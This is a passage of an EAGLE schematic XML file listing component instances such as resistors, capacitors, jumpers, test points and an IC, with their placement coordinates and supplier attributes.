display=\"off\"/>\n</instance>\n<instance part=\"R3\" gate=\"G$1\" x=\"228.6\" y=\"-116.84\" smashed=\"yes\" rot=\"MR180\">\n<attribute name=\"PARTNO\" x=\"228.6\" y=\"-116.84\" size=\"1.778\" layer=\"96\" display=\"off\"/>\n<attribute name=\"NAME\" x=\"220.726\" y=\"-114.935\" size=\"1.778\" layer=\"95\" rot=\"MR180\"/>\n<attribute name=\"VALUE\" x=\"220.218\" y=\"-117.856\" size=\"1.778\" layer=\"96\" rot=\"MR180\"/>\n<attribute name=\"FARNELL\" x=\"228.6\" y=\"-116.84\" size=\"1.778\" layer=\"96\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE\" x=\"228.6\" y=\"-116.84\" size=\"1.778\" layer=\"96\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE_QUANTITY\" x=\"228.6\" y=\"-116.84\" size=\"1.778\" layer=\"96\" display=\"off\"/>\n<attribute name=\"AMR_RECHECK_PART\" x=\"228.6\" y=\"-116.84\" size=\"1.778\" layer=\"96\" display=\"off\"/>\n<attribute name=\"TOLERANCE\" x=\"228.6\" y=\"-116.84\" size=\"1.778\" layer=\"96\" display=\"off\"/>\n<attribute name=\"XFARNELL\" x=\"228.6\" y=\"-116.84\" size=\"1.778\" layer=\"96\" rot=\"MR180\" display=\"off\"/>\n</instance>\n<instance part=\"R4\" gate=\"G$1\" x=\"119.38\" y=\"-114.3\" smashed=\"yes\" rot=\"MR180\">\n<attribute name=\"PARTNO\" x=\"119.38\" y=\"-114.3\" size=\"1.778\" layer=\"96\" display=\"off\"/>\n<attribute name=\"NAME\" x=\"110.998\" y=\"-111.125\" size=\"1.778\" layer=\"95\" rot=\"MR180\"/>\n<attribute name=\"VALUE\" x=\"110.744\" y=\"-114.3\" size=\"1.778\" layer=\"96\" rot=\"MR180\"/>\n<attribute name=\"FARNELL\" x=\"119.38\" y=\"-114.3\" size=\"1.778\" layer=\"96\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE\" x=\"119.38\" y=\"-114.3\" size=\"1.778\" layer=\"96\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE_QUANTITY\" x=\"119.38\" y=\"-114.3\" size=\"1.778\" layer=\"96\" display=\"off\"/>\n<attribute name=\"AMR_RECHECK_PART\" x=\"119.38\" y=\"-114.3\" size=\"1.778\" layer=\"96\" display=\"off\"/>\n<attribute name=\"TOLERANCE\" x=\"119.38\" y=\"-114.3\" size=\"1.778\" layer=\"96\" display=\"off\"/>\n<attribute name=\"XFARNELL\" x=\"119.38\" y=\"-114.3\" size=\"1.778\" layer=\"96\" rot=\"MR180\" display=\"off\"/>\n</instance>\n<instance part=\"JP5\" gate=\"A\" x=\"236.22\" y=\"-127\" smashed=\"yes\" rot=\"R90\">\n<attribute name=\"PARTNO\" x=\"236.22\" y=\"-127\" size=\"1.778\" layer=\"96\" display=\"off\"/>\n<attribute name=\"NAME\" x=\"239.014\" y=\"-124.841\" size=\"1.778\" layer=\"95\" rot=\"R180\"/>\n<attribute name=\"VALUE\" x=\"243.84\" y=\"-133.35\" size=\"1.778\" layer=\"96\" rot=\"R90\"/>\n<attribute name=\"FARNELL\" x=\"236.22\" y=\"-127\" size=\"1.778\" layer=\"96\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE\" x=\"236.22\" y=\"-127\" size=\"1.778\" layer=\"96\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE_QUANTITY\" x=\"236.22\" y=\"-127\" size=\"1.778\" layer=\"96\" display=\"off\"/>\n<attribute name=\"AMR_RECHECK_PART\" x=\"236.22\" y=\"-127\" size=\"1.778\" layer=\"96\" display=\"off\"/>\n<attribute name=\"TOLERANCE\" x=\"236.22\" y=\"-127\" size=\"1.778\" layer=\"96\" display=\"off\"/>\n</instance>\n<instance part=\"JP4\" gate=\"A\" x=\"127\" y=\"-127\" smashed=\"yes\" rot=\"R90\">\n<attribute name=\"PARTNO\" x=\"127\" y=\"-127\" size=\"1.778\" layer=\"96\" display=\"off\"/>\n<attribute name=\"NAME\" x=\"129.286\" y=\"-124.841\" size=\"1.778\" layer=\"95\" rot=\"R180\"/>\n<attribute name=\"VALUE\" x=\"134.62\" y=\"-133.35\" size=\"1.778\" layer=\"96\" rot=\"R90\"/>\n<attribute name=\"FARNELL\" x=\"127\" y=\"-127\" size=\"1.778\" layer=\"96\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE\" x=\"127\" y=\"-127\" size=\"1.778\" layer=\"96\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE_QUANTITY\" x=\"127\" y=\"-127\" size=\"1.778\" layer=\"96\" display=\"off\"/>\n<attribute name=\"AMR_RECHECK_PART\" x=\"127\" y=\"-127\" size=\"1.778\" layer=\"96\" display=\"off\"/>\n<attribute name=\"TOLERANCE\" x=\"127\" y=\"-127\" size=\"1.778\" layer=\"96\" display=\"off\"/>\n</instance>\n<instance part=\"TEP\" gate=\"G$1\" x=\"281.94\" y=\"-147.32\" smashed=\"yes\" rot=\"R180\">\n<attribute name=\"PARTNO\" x=\"281.94\" y=\"-147.32\" size=\"1.778\" layer=\"96\" rot=\"R180\" display=\"off\"/>\n<attribute name=\"NAME\" x=\"283.21\" y=\"-148.59\" size=\"1.778\" layer=\"95\" rot=\"R180\"/>\n<attribute name=\"TP_SIGNAL_NAME\" x=\"280.67\" y=\"-146.05\" size=\"1.778\" layer=\"97\" rot=\"R180\"/>\n<attribute name=\"FARNELL\" x=\"281.94\" y=\"-147.32\" size=\"1.778\" layer=\"96\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE\" x=\"281.94\" y=\"-147.32\" size=\"1.778\" layer=\"96\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE_QUANTITY\" x=\"281.94\" y=\"-147.32\" size=\"1.778\" layer=\"96\" display=\"off\"/>\n<attribute name=\"AMR_RECHECK_PART\" x=\"281.94\" y=\"-147.32\" size=\"1.778\" layer=\"96\" display=\"off\"/>\n<attribute name=\"TOLERANCE\" x=\"281.94\" y=\"-147.32\" size=\"1.778\" layer=\"96\" display=\"off\"/>\n</instance>\n<instance part=\"OP-OUT\" gate=\"G$1\" x=\"281.94\" y=\"-109.22\" smashed=\"yes\" rot=\"R90\">\n<attribute name=\"PARTNO\" x=\"281.94\" y=\"-109.22\" size=\"1.778\" layer=\"96\" rot=\"R90\" display=\"off\"/>\n<attribute name=\"NAME\" x=\"280.416\" y=\"-108.458\" size=\"1.778\" layer=\"95\" rot=\"R180\"/>\n<attribute name=\"TP_SIGNAL_NAME\" x=\"283.21\" y=\"-107.95\" size=\"1.778\" layer=\"97\" rot=\"R90\"/>\n<attribute name=\"FARNELL\" x=\"281.94\" y=\"-109.22\" size=\"1.778\" layer=\"96\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE\" x=\"281.94\" y=\"-109.22\" size=\"1.778\" layer=\"96\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE_QUANTITY\" x=\"281.94\" y=\"-109.22\" size=\"1.778\" layer=\"96\" display=\"off\"/>\n<attribute name=\"AMR_RECHECK_PART\" x=\"281.94\" y=\"-109.22\" size=\"1.778\" layer=\"96\" display=\"off\"/>\n<attribute name=\"TOLERANCE\" x=\"281.94\" y=\"-109.22\" size=\"1.778\" layer=\"96\" display=\"off\"/>\n</instance>\n<instance part=\"OP+OUT\" gate=\"G$1\" x=\"281.94\" y=\"-116.84\" smashed=\"yes\" rot=\"R90\">\n<attribute name=\"PARTNO\" x=\"281.94\" y=\"-116.84\" size=\"1.778\" layer=\"96\" rot=\"R90\" display=\"off\"/>\n<attribute name=\"NAME\" x=\"280.67\" y=\"-116.332\" size=\"1.778\" layer=\"95\" rot=\"R180\"/>\n<attribute name=\"TP_SIGNAL_NAME\" x=\"283.21\" y=\"-115.57\" size=\"1.778\" layer=\"97\" rot=\"R90\"/>\n<attribute name=\"FARNELL\" x=\"281.94\" y=\"-116.84\" size=\"1.778\" layer=\"96\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE\" x=\"281.94\" y=\"-116.84\" size=\"1.778\" layer=\"96\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE_QUANTITY\" x=\"281.94\" y=\"-116.84\" size=\"1.778\" layer=\"96\" display=\"off\"/>\n<attribute name=\"AMR_RECHECK_PART\" x=\"281.94\" y=\"-116.84\" size=\"1.778\" layer=\"96\" display=\"off\"/>\n<attribute name=\"TOLERANCE\" x=\"281.94\" y=\"-116.84\" size=\"1.778\" layer=\"96\" display=\"off\"/>\n</instance>\n<instance part=\"READER_DATA\" gate=\"G$1\" x=\"370.84\" y=\"-99.06\" smashed=\"yes\" rot=\"R270\">\n<attribute name=\"PARTNO\" x=\"370.84\" y=\"-99.06\" size=\"1.778\" layer=\"96\" display=\"off\"/>\n<attribute name=\"NAME\" x=\"374.65\" y=\"-99.822\" size=\"1.778\" layer=\"95\"/>\n<attribute name=\"TP_SIGNAL_NAME\" x=\"369.57\" y=\"-100.33\" size=\"1.778\" layer=\"97\" rot=\"R270\"/>\n<attribute name=\"FARNELL\" x=\"370.84\" y=\"-99.06\" size=\"1.778\" layer=\"96\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE\" x=\"370.84\" y=\"-99.06\" size=\"1.778\" layer=\"96\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE_QUANTITY\" x=\"370.84\" y=\"-99.06\" size=\"1.778\" layer=\"96\" display=\"off\"/>\n<attribute name=\"AMR_RECHECK_PART\" x=\"370.84\" y=\"-99.06\" size=\"1.778\" layer=\"96\" display=\"off\"/>\n<attribute name=\"TOLERANCE\" x=\"370.84\" y=\"-99.06\" size=\"1.778\" layer=\"96\" display=\"off\"/>\n</instance>\n<instance part=\"C6\" gate=\"G$1\" x=\"-88.9\" y=\"-111.76\" smashed=\"yes\" rot=\"MR0\">\n<attribute name=\"PARTNO\" x=\"-88.9\" y=\"-111.76\" size=\"1.778\" layer=\"96\" rot=\"MR0\" display=\"off\"/>\n<attribute name=\"NAME\" x=\"-90.424\" y=\"-108.839\" size=\"1.778\" layer=\"95\" rot=\"MR0\"/>\n<attribute name=\"VALUE\" x=\"-90.424\" y=\"-113.919\" size=\"1.778\" layer=\"96\" rot=\"MR0\"/>\n<attribute name=\"FARNELL\" x=\"-88.9\" y=\"-111.76\" size=\"1.778\" layer=\"96\" rot=\"MR0\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE\" x=\"-88.9\" y=\"-111.76\" size=\"1.778\" layer=\"96\" rot=\"MR0\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE_QUANTITY\" x=\"-88.9\" y=\"-111.76\" size=\"1.778\" layer=\"96\" rot=\"MR0\" display=\"off\"/>\n<attribute name=\"AMR_RECHECK_PART\" x=\"-88.9\" y=\"-111.76\" size=\"1.778\" layer=\"96\" rot=\"MR0\" display=\"off\"/>\n<attribute name=\"TOLERANCE\" x=\"-88.9\" y=\"-111.76\" size=\"1.778\" layer=\"96\" rot=\"MR0\" display=\"off\"/>\n</instance>\n<instance part=\"C7\" gate=\"G$1\" x=\"-78.74\" y=\"-111.76\" smashed=\"yes\" rot=\"MR0\">\n<attribute name=\"PARTNO\" x=\"-78.74\" y=\"-111.76\" size=\"1.778\" layer=\"96\" rot=\"MR0\" display=\"off\"/>\n<attribute name=\"NAME\" x=\"-80.264\" y=\"-108.839\" size=\"1.778\" layer=\"95\" rot=\"MR0\"/>\n<attribute name=\"VALUE\" x=\"-80.264\" y=\"-113.919\" size=\"1.778\" layer=\"96\" rot=\"MR0\"/>\n<attribute name=\"FARNELL\" x=\"-78.74\" y=\"-111.76\" size=\"1.778\" layer=\"96\" rot=\"MR0\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE\" x=\"-78.74\" y=\"-111.76\" size=\"1.778\" layer=\"96\" rot=\"MR0\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE_QUANTITY\" x=\"-78.74\" y=\"-111.76\" size=\"1.778\" layer=\"96\" rot=\"MR0\" display=\"off\"/>\n<attribute name=\"AMR_RECHECK_PART\" x=\"-78.74\" y=\"-111.76\" size=\"1.778\" layer=\"96\" rot=\"MR0\" display=\"off\"/>\n<attribute name=\"TOLERANCE\" x=\"-78.74\" y=\"-111.76\" size=\"1.778\" layer=\"96\" rot=\"MR0\" display=\"off\"/>\n</instance>\n<instance part=\"R5\" gate=\"G$1\" x=\"137.16\" y=\"-109.982\" smashed=\"yes\" rot=\"R270\">\n<attribute name=\"PARTNO\" x=\"137.16\" y=\"-109.982\" size=\"1.778\" layer=\"96\" display=\"off\"/>\n<attribute name=\"NAME\" x=\"131.572\" y=\"-109.4994\" size=\"1.778\" layer=\"95\"/>\n<attribute name=\"VALUE\" x=\"130.302\" y=\"-112.014\" size=\"1.778\" layer=\"96\"/>\n<attribute name=\"FARNELL\" x=\"137.16\" y=\"-109.982\" size=\"1.778\" layer=\"96\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE\" x=\"137.16\" y=\"-109.982\" size=\"1.778\" layer=\"96\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE_QUANTITY\" x=\"137.16\" y=\"-109.982\" size=\"1.778\" layer=\"96\" display=\"off\"/>\n<attribute name=\"AMR_RECHECK_PART\" x=\"137.16\" y=\"-109.982\" size=\"1.778\" layer=\"96\" display=\"off\"/>\n<attribute name=\"TOLERANCE\" x=\"137.16\" y=\"-109.982\" size=\"1.778\" layer=\"96\" display=\"off\"/>\n</instance>\n<instance part=\"R9\" gate=\"G$1\" x=\"251.46\" y=\"-111.76\" smashed=\"yes\" rot=\"R270\">\n<attribute name=\"PARTNO\" x=\"251.46\" y=\"-111.76\" size=\"1.778\" layer=\"96\" display=\"off\"/>\n<attribute name=\"NAME\" x=\"253.238\" y=\"-110.7694\" size=\"1.778\" layer=\"95\"/>\n<attribute name=\"VALUE\" x=\"252.984\" y=\"-113.284\" size=\"1.778\" layer=\"96\"/>\n<attribute name=\"FARNELL\" x=\"251.46\" y=\"-111.76\" size=\"1.778\" layer=\"96\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE\" x=\"251.46\" y=\"-111.76\" size=\"1.778\" layer=\"96\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE_QUANTITY\" x=\"251.46\" y=\"-111.76\" size=\"1.778\" layer=\"96\" display=\"off\"/>\n<attribute name=\"AMR_RECHECK_PART\" x=\"251.46\" y=\"-111.76\" size=\"1.778\" layer=\"96\" display=\"off\"/>\n<attribute name=\"TOLERANCE\" x=\"251.46\" y=\"-111.76\" size=\"1.778\" layer=\"96\" display=\"off\"/>\n</instance>\n<instance part=\"TEP2\" gate=\"G$1\" x=\"271.78\" y=\"-147.32\" smashed=\"yes\" rot=\"R180\">\n<attribute name=\"PARTNO\" x=\"271.78\" y=\"-147.32\" size=\"1.778\" layer=\"96\" rot=\"R180\" display=\"off\"/>\n<attribute name=\"NAME\" x=\"273.05\" y=\"-148.59\" size=\"1.778\" layer=\"95\" rot=\"R180\"/>\n<attribute name=\"TP_SIGNAL_NAME\" x=\"270.51\" y=\"-146.05\" size=\"1.778\" layer=\"97\" rot=\"R180\"/>\n<attribute name=\"FARNELL\" x=\"271.78\" y=\"-147.32\" size=\"1.778\" layer=\"96\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE\" x=\"271.78\" y=\"-147.32\" size=\"1.778\" layer=\"96\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE_QUANTITY\" x=\"271.78\" y=\"-147.32\" size=\"1.778\" layer=\"96\" display=\"off\"/>\n<attribute name=\"AMR_RECHECK_PART\" x=\"271.78\" y=\"-147.32\" size=\"1.778\" layer=\"96\" display=\"off\"/>\n<attribute name=\"TOLERANCE\" x=\"271.78\" y=\"-147.32\" size=\"1.778\" layer=\"96\" display=\"off\"/>\n</instance>\n<instance part=\"TEP1\" gate=\"G$1\" x=\"264.16\" y=\"-147.32\" smashed=\"yes\" rot=\"R180\">\n<attribute name=\"PARTNO\" x=\"264.16\" y=\"-147.32\" size=\"1.778\" layer=\"96\" rot=\"R180\" display=\"off\"/>\n<attribute name=\"NAME\" x=\"265.43\" y=\"-148.59\" size=\"1.778\" layer=\"95\" rot=\"R180\"/>\n<attribute name=\"TP_SIGNAL_NAME\" x=\"262.89\" y=\"-146.05\" size=\"1.778\" layer=\"97\" rot=\"R180\"/>\n<attribute name=\"FARNELL\" x=\"264.16\" y=\"-147.32\" size=\"1.778\" layer=\"96\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE\" x=\"264.16\" y=\"-147.32\" size=\"1.778\" layer=\"96\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE_QUANTITY\" x=\"264.16\" y=\"-147.32\" size=\"1.778\" layer=\"96\" display=\"off\"/>\n<attribute name=\"AMR_RECHECK_PART\" x=\"264.16\" y=\"-147.32\" size=\"1.778\" layer=\"96\" display=\"off\"/>\n<attribute name=\"TOLERANCE\" x=\"264.16\" y=\"-147.32\" size=\"1.778\" layer=\"96\" display=\"off\"/>\n</instance>\n<instance part=\"C29\" gate=\"G$1\" x=\"68.58\" y=\"223.52\" smashed=\"yes\">\n<attribute name=\"PARTNO\" x=\"68.58\" y=\"223.52\" size=\"1.778\" layer=\"96\" display=\"off\"/>\n<attribute name=\"NAME\" x=\"69.596\" y=\"223.901\" size=\"1.778\" layer=\"95\"/>\n<attribute name=\"VALUE\" x=\"69.088\" y=\"219.329\" size=\"1.778\" layer=\"96\"/>\n<attribute name=\"FARNELL\" x=\"68.58\" y=\"223.52\" size=\"1.778\" layer=\"96\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE\" x=\"68.58\" y=\"223.52\" size=\"1.778\" layer=\"96\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE_QUANTITY\" x=\"68.58\" y=\"223.52\" size=\"1.778\" layer=\"96\" display=\"off\"/>\n<attribute name=\"AMR_RECHECK_PART\" x=\"68.58\" y=\"223.52\" size=\"1.778\" layer=\"96\" display=\"off\"/>\n<attribute name=\"TOLERANCE\" x=\"68.58\" y=\"223.52\" size=\"1.778\" layer=\"96\" display=\"off\"/>\n</instance>\n<instance part=\"JP6\" gate=\"G$1\" x=\"281.94\" y=\"-127\" smashed=\"yes\" rot=\"R180\">\n<attribute name=\"NAME\" x=\"284.353\" y=\"-128.905\" size=\"1.016\" layer=\"95\" ratio=\"15\" rot=\"R180\"/>\n<attribute name=\"VALUE\" x=\"285.5722\" y=\"-124.0028\" size=\"1.016\" layer=\"96\" ratio=\"15\" rot=\"R180\"/>\n<attribute name=\"FARNELL\" x=\"281.94\" y=\"-127\" size=\"1.778\" layer=\"96\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE\" x=\"281.94\" y=\"-127\" size=\"1.778\" layer=\"96\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE_QUANTITY\" x=\"281.94\" y=\"-127\" size=\"1.778\" layer=\"96\" display=\"off\"/>\n<attribute name=\"AMR_RECHECK_PART\" x=\"281.94\" y=\"-127\" size=\"1.778\" layer=\"96\" display=\"off\"/>\n<attribute name=\"TOLERANCE\" x=\"281.94\" y=\"-127\" size=\"1.778\" layer=\"96\" display=\"off\"/>\n</instance>\n<instance part=\"JP7\" gate=\"G$1\" x=\"281.94\" y=\"-104.14\" smashed=\"yes\" rot=\"R180\">\n<attribute name=\"NAME\" x=\"284.353\" y=\"-106.045\" size=\"1.016\" layer=\"95\" ratio=\"15\" rot=\"R180\"/>\n<attribute name=\"VALUE\" x=\"285.5722\" y=\"-101.1428\" size=\"1.016\" layer=\"96\" ratio=\"15\" rot=\"R180\"/>\n<attribute name=\"FARNELL\" x=\"281.94\" y=\"-104.14\" size=\"1.778\" layer=\"96\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE\" x=\"281.94\" y=\"-104.14\" size=\"1.778\" layer=\"96\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE_QUANTITY\" x=\"281.94\" y=\"-104.14\" size=\"1.778\" layer=\"96\" display=\"off\"/>\n<attribute name=\"AMR_RECHECK_PART\" x=\"281.94\" y=\"-104.14\" size=\"1.778\" layer=\"96\" display=\"off\"/>\n<attribute name=\"TOLERANCE\" x=\"281.94\" y=\"-104.14\" size=\"1.778\" layer=\"96\" display=\"off\"/>\n</instance>\n<instance part=\"JP10\" gate=\"G$1\" x=\"337.82\" y=\"-83.82\" smashed=\"yes\">\n<attribute name=\"NAME\" x=\"335.407\" y=\"-81.915\" size=\"1.016\" layer=\"95\" ratio=\"15\"/>\n<attribute name=\"VALUE\" x=\"334.1878\" y=\"-86.8172\" size=\"1.016\" layer=\"96\" ratio=\"15\"/>\n<attribute name=\"FARNELL\" x=\"337.82\" y=\"-83.82\" size=\"1.778\" layer=\"96\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE\" x=\"337.82\" y=\"-83.82\" size=\"1.778\" layer=\"96\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE_QUANTITY\" x=\"337.82\" y=\"-83.82\" size=\"1.778\" layer=\"96\" display=\"off\"/>\n<attribute name=\"AMR_RECHECK_PART\" x=\"337.82\" y=\"-83.82\" size=\"1.778\" layer=\"96\" display=\"off\"/>\n<attribute name=\"TOLERANCE\" x=\"337.82\" y=\"-83.82\" size=\"1.778\" layer=\"96\" display=\"off\"/>\n</instance>\n<instance part=\"JP9\" gate=\"G$1\" x=\"327.66\" y=\"-83.82\" smashed=\"yes\">\n<attribute name=\"NAME\" x=\"325.247\" y=\"-81.915\" size=\"1.016\" layer=\"95\" ratio=\"15\"/>\n<attribute name=\"VALUE\" x=\"324.0278\" y=\"-86.8172\" size=\"1.016\" layer=\"96\" ratio=\"15\"/>\n<attribute name=\"FARNELL\" x=\"327.66\" y=\"-83.82\" size=\"1.778\" layer=\"96\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE\" x=\"327.66\" y=\"-83.82\" size=\"1.778\" layer=\"96\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE_QUANTITY\" x=\"327.66\" y=\"-83.82\" size=\"1.778\" layer=\"96\" display=\"off\"/>\n<attribute name=\"AMR_RECHECK_PART\" x=\"327.66\" y=\"-83.82\" size=\"1.778\" layer=\"96\" display=\"off\"/>\n<attribute name=\"TOLERANCE\" x=\"327.66\" y=\"-83.82\" size=\"1.778\" layer=\"96\" display=\"off\"/>\n</instance>\n<instance part=\"JP8\" gate=\"G$1\" x=\"370.84\" y=\"-93.98\" smashed=\"yes\">\n<attribute name=\"NAME\" x=\"371.983\" y=\"-93.853\" size=\"1.016\" layer=\"95\" ratio=\"15\"/>\n<attribute name=\"VALUE\" x=\"367.2078\" y=\"-96.9772\" size=\"1.016\" layer=\"96\" ratio=\"15\"/>\n<attribute name=\"FARNELL\" x=\"370.84\" y=\"-93.98\" size=\"1.778\" layer=\"96\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE\" x=\"370.84\" y=\"-93.98\" size=\"1.778\" layer=\"96\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE_QUANTITY\" x=\"370.84\" y=\"-93.98\" size=\"1.778\" layer=\"96\" display=\"off\"/>\n<attribute name=\"AMR_RECHECK_PART\" x=\"370.84\" y=\"-93.98\" size=\"1.778\" layer=\"96\" display=\"off\"/>\n<attribute name=\"TOLERANCE\" x=\"370.84\" y=\"-93.98\" size=\"1.778\" layer=\"96\" display=\"off\"/>\n</instance>\n<instance part=\"U6\" gate=\"A\" x=\"40.64\" y=\"91.44\" smashed=\"yes\">\n<attribute name=\"NAME\" x=\"35.0012\" y=\"171.9834\" size=\"2.0828\" layer=\"95\" ratio=\"10\" rot=\"SR0\"/>\n<attribute name=\"VALUE\" x=\"28.6766\" y=\"3.429\" size=\"2.0828\" layer=\"96\" ratio=\"10\" rot=\"SR0\"/>\n<attribute name=\"FARNELL\" x=\"40.64\" y=\"91.44\" size=\"1.778\" layer=\"96\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE\" x=\"40.64\" y=\"91.44\" size=\"1.778\" layer=\"96\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE_QUANTITY\" x=\"40.64\" y=\"91.44\" size=\"1.778\" layer=\"96\" display=\"off\"/>\n<attribute name=\"AMR_RECHECK_PART\" x=\"40.64\" y=\"91.44\" size=\"1.778\" layer=\"96\" display=\"off\"/>\n<attribute name=\"TOLERANCE\" x=\"40.64\" y=\"91.44\" size=\"1.778\" layer=\"96\" display=\"off\"/>\n</instance>\n<instance part=\"SUPPLY11\" gate=\"1\" x=\"-53.34\" y=\"20.32\" smashed=\"yes\" rot=\"R270\">\n<attribute name=\"VALUE\" x=\"-56.515\" y=\"22.225\" size=\"1.778\" layer=\"96\" rot=\"R270\"/>\n</instance>\n<instance part=\"+3V7\" gate=\"G$1\" x=\"-50.8\" y=\"157.48\" smashed=\"yes\" rot=\"R90\">\n<attribute name=\"VALUE\" x=\"-51.816\" y=\"158.496\" size=\"1.778\" layer=\"96\" rot=\"R180\"/>\n</instance>\n<instance part=\"GND16\" gate=\"1\" x=\"-96.52\" y=\"147.32\" smashed=\"yes\" rot=\"MR0\">\n<attribute name=\"VALUE\" x=\"-93.98\" y=\"144.78\" size=\"1.778\" layer=\"96\" rot=\"MR0\"/>\n</instance>\n<instance part=\"C15\" gate=\"G$1\" x=\"-76.2\" y=\"144.78\" smashed=\"yes\" rot=\"MR90\">\n<attribute name=\"NAME\" x=\"-72.644\" y=\"140.081\" size=\"1.778\" layer=\"95\" rot=\"MR0\"/>\n<attribute name=\"VALUE\" x=\"-71.374\" y=\"137.541\" size=\"1.778\" layer=\"96\" rot=\"MR0\"/>\n<attribute name=\"FARNELL\" x=\"-76.2\" y=\"144.78\" size=\"1.778\" layer=\"96\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE\" x=\"-76.2\" y=\"144.78\" size=\"1.778\" layer=\"96\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE_QUANTITY\" x=\"-76.2\" y=\"144.78\" size=\"1.778\" layer=\"96\" display=\"off\"/>\n<attribute name=\"AMR_RECHECK_PART\" x=\"-76.2\" y=\"144.78\" size=\"1.778\" layer=\"96\" display=\"off\"/>\n<attribute name=\"TOLERANCE\" x=\"-76.2\" y=\"144.78\" size=\"1.778\" layer=\"96\" display=\"off\"/>\n</instance>\n<instance part=\"C16\" gate=\"G$1\" x=\"-76.2\" y=\"154.94\" smashed=\"yes\" rot=\"MR90\">\n<attribute name=\"NAME\" x=\"-74.676\" y=\"160.655\" size=\"1.778\" layer=\"95\" rot=\"MR0\"/>\n<attribute name=\"VALUE\" x=\"-73.914\" y=\"158.369\" size=\"1.778\" layer=\"96\" rot=\"MR0\"/>\n<attribute name=\"FARNELL\" x=\"-76.2\" y=\"154.94\" size=\"1.778\" layer=\"96\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE\" x=\"-76.2\" y=\"154.94\" size=\"1.778\" layer=\"96\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE_QUANTITY\" x=\"-76.2\" y=\"154.94\" size=\"1.778\" layer=\"96\" display=\"off\"/>\n<attribute name=\"AMR_RECHECK_PART\" x=\"-76.2\" y=\"154.94\" size=\"1.778\" layer=\"96\" display=\"off\"/>\n<attribute name=\"TOLERANCE\" x=\"-76.2\" y=\"154.94\" size=\"1.778\" layer=\"96\" display=\"off\"/>\n</instance>\n<instance part=\"R23\" gate=\"G$1\" x=\"172.72\" y=\"53.34\" smashed=\"yes\" rot=\"R180\">\n<attribute name=\"PARTNO\" x=\"172.72\" y=\"53.34\" size=\"1.778\" layer=\"96\" rot=\"R270\" display=\"off\"/>\n<attribute name=\"NAME\" x=\"171.196\" y=\"51.5874\" size=\"1.778\" layer=\"95\" rot=\"R180\"/>\n<attribute name=\"VALUE\" x=\"177.292\" y=\"51.562\" size=\"1.778\" layer=\"96\" rot=\"R180\"/>\n<attribute name=\"FARNELL\" x=\"172.72\" y=\"53.34\" size=\"1.778\" layer=\"96\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE\" x=\"172.72\" y=\"53.34\" size=\"1.778\" layer=\"96\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE_QUANTITY\" x=\"172.72\" y=\"53.34\" size=\"1.778\" layer=\"96\" display=\"off\"/>\n<attribute name=\"AMR_RECHECK_PART\" x=\"172.72\" y=\"53.34\" size=\"1.778\" layer=\"96\" display=\"off\"/>\n<attribute name=\"TOLERANCE\" x=\"172.72\" y=\"53.34\" size=\"1.778\" layer=\"96\" display=\"off\"/>\n</instance>\n<instance part=\"+3V1\" gate=\"G$1\" x=\"185.42\" y=\"53.34\" smashed=\"yes\" rot=\"R270\">\n<attribute name=\"VALUE\" x=\"186.436\" y=\"52.324\" size=\"1.778\" layer=\"96\"/>\n</instance>\n<instance part=\"GND19\" gate=\"1\" x=\"-99.06\" y=\"27.94\" smashed=\"yes\" rot=\"MR0\">\n<attribute name=\"VALUE\" x=\"-96.52\" y=\"25.4\" size=\"1.778\" layer=\"96\" rot=\"MR0\"/>\n</instance>\n<instance part=\"X1\" gate=\"G$1\" x=\"-83.82\" y=\"38.1\" smashed=\"yes\" rot=\"MR90\">\n<attribute name=\"NAME\" x=\"-77.724\" y=\"37.338\" size=\"1.778\" layer=\"95\" rot=\"MR0\"/>\n<attribute name=\"VALUE\" x=\"-86.106\" y=\"37.592\" size=\"1.778\" layer=\"96\" rot=\"MR0\"/>\n<attribute name=\"FARNELL\" x=\"-83.82\" y=\"38.1\" size=\"1.778\" layer=\"96\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE\" x=\"-83.82\" y=\"38.1\" size=\"1.778\" layer=\"96\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE_QUANTITY\" x=\"-83.82\" 